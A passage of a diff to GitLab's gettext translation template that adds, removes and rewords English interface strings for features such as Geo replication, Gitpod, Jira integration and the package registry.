msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
